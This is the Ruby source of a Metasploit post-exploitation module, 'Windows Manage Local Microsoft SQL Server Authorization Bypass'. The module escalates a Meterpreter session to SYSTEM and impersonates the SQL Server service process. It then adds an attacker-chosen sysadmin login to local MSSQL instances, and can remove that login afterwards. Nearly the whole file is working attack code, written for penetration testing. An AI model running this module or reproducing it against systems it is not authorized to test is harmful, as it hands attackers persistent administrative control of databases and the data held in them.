Path: blob/master/modules/post/windows/manage/mssql_local_auth_bypass.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::Windows::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',14'Description' => %q{15When this module is executed, it can be used to add a sysadmin to local16SQL Server instances. It first attempts to gain LocalSystem privileges17using the "getsystem" escalation methods. If those privileges are not18sufficient to add a sysadmin, then it will migrate to the SQL Server19service process associated with the target instance. The sysadmin20login is added to the local SQL Server using native SQL clients and21stored procedures. If no instance is specified then the first identified22instance will be used.2324Why is this possible? By default in SQL Server 2k-2k8, LocalSystem25is assigned syadmin privileges. Microsoft changed the default in26SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.27However, this can be overcome by migrating to the SQL Server process.28},29'License' => MSF_LICENSE,30'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],31'Platform' => [ 'win' ],32'SessionTypes' => [ 'meterpreter' ],33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36stdapi_sys_config_rev2self37]38}39},40'Notes' => {41'Stability' => [CRASH_SAFE],42'SideEffects' => [CONFIG_CHANGES],43'Reliability' => []44}45)46)4748register_options(49[50OptString.new('DB_USERNAME', [true, 'New sysadmin login', nil]),51OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', nil]),52OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),53OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false])54]55)56end5758def run59hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']60print_status("Running module against #{hostname} (#{session.session_host})")6162# Set instance name (if specified)63instance = datastore['INSTANCE'].to_s6465# Identify available native SQL client66get_sql_client67fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client6869# Get LocalSystem privileges70system_status = get_system71fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status72begin73service = check_for_sqlserver(instance)74fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service7576print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")77instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip7879if datastore['REMOVE_LOGIN']80remove_login(service, instance_name)81else82add_login(service, instance_name)83end84ensure85# attempt to return to original priv context86session.sys.config.revert_to_self87end88end8990def add_login(service, instance_name)91add_login_status = add_sql_login(92datastore['DB_USERNAME'],93datastore['DB_PASSWORD'],94instance_name95)9697unless add_login_status98raise 'Retry'99end100rescue RuntimeError => e101if e.message == 'Retry'102retry if impersonate_sql_user(service)103else104raise $ERROR_INFO105end106end107108def remove_login(service, instance_name)109remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)110111unless remove_status112raise 'Retry'113end114rescue RuntimeError => e115if e.message == 'Retry'116retry if impersonate_sql_user(service)117else118raise $ERROR_INFO119end120end121122def add_sql_login(dbuser, dbpass, instance)123print_status("#{session_display_info}: Attempting to add new login \"#{dbuser}\"...")124query = mssql_sa_escalation(username: dbuser, password: dbpass)125126# Get Data127add_login_result = run_sql(query, instance)128129case add_login_result130when '', /new login created/i131print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")132return true133when /already exists/i134fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")135when /password validation failed/i136fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")137else138print_error("#{session_display_info}: Unable to add login #{dbuser}")139print_error("#{session_display_info}: Database Error:\n #{add_login_result}")140return false141end142end143144def remove_sql_login(dbuser, instance_name)145print_status("#{session_display_info}: Attempting to remove login \"#{dbuser}\"")146query = "sp_droplogin '#{dbuser}'"147148remove_login_result = run_sql(query, instance_name)149150# Display result151if remove_login_result.empty?152print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")153return true154end155156print_error("#{session_display_info}: Unabled to remove login #{dbuser}")157print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")158return false159end160end161162163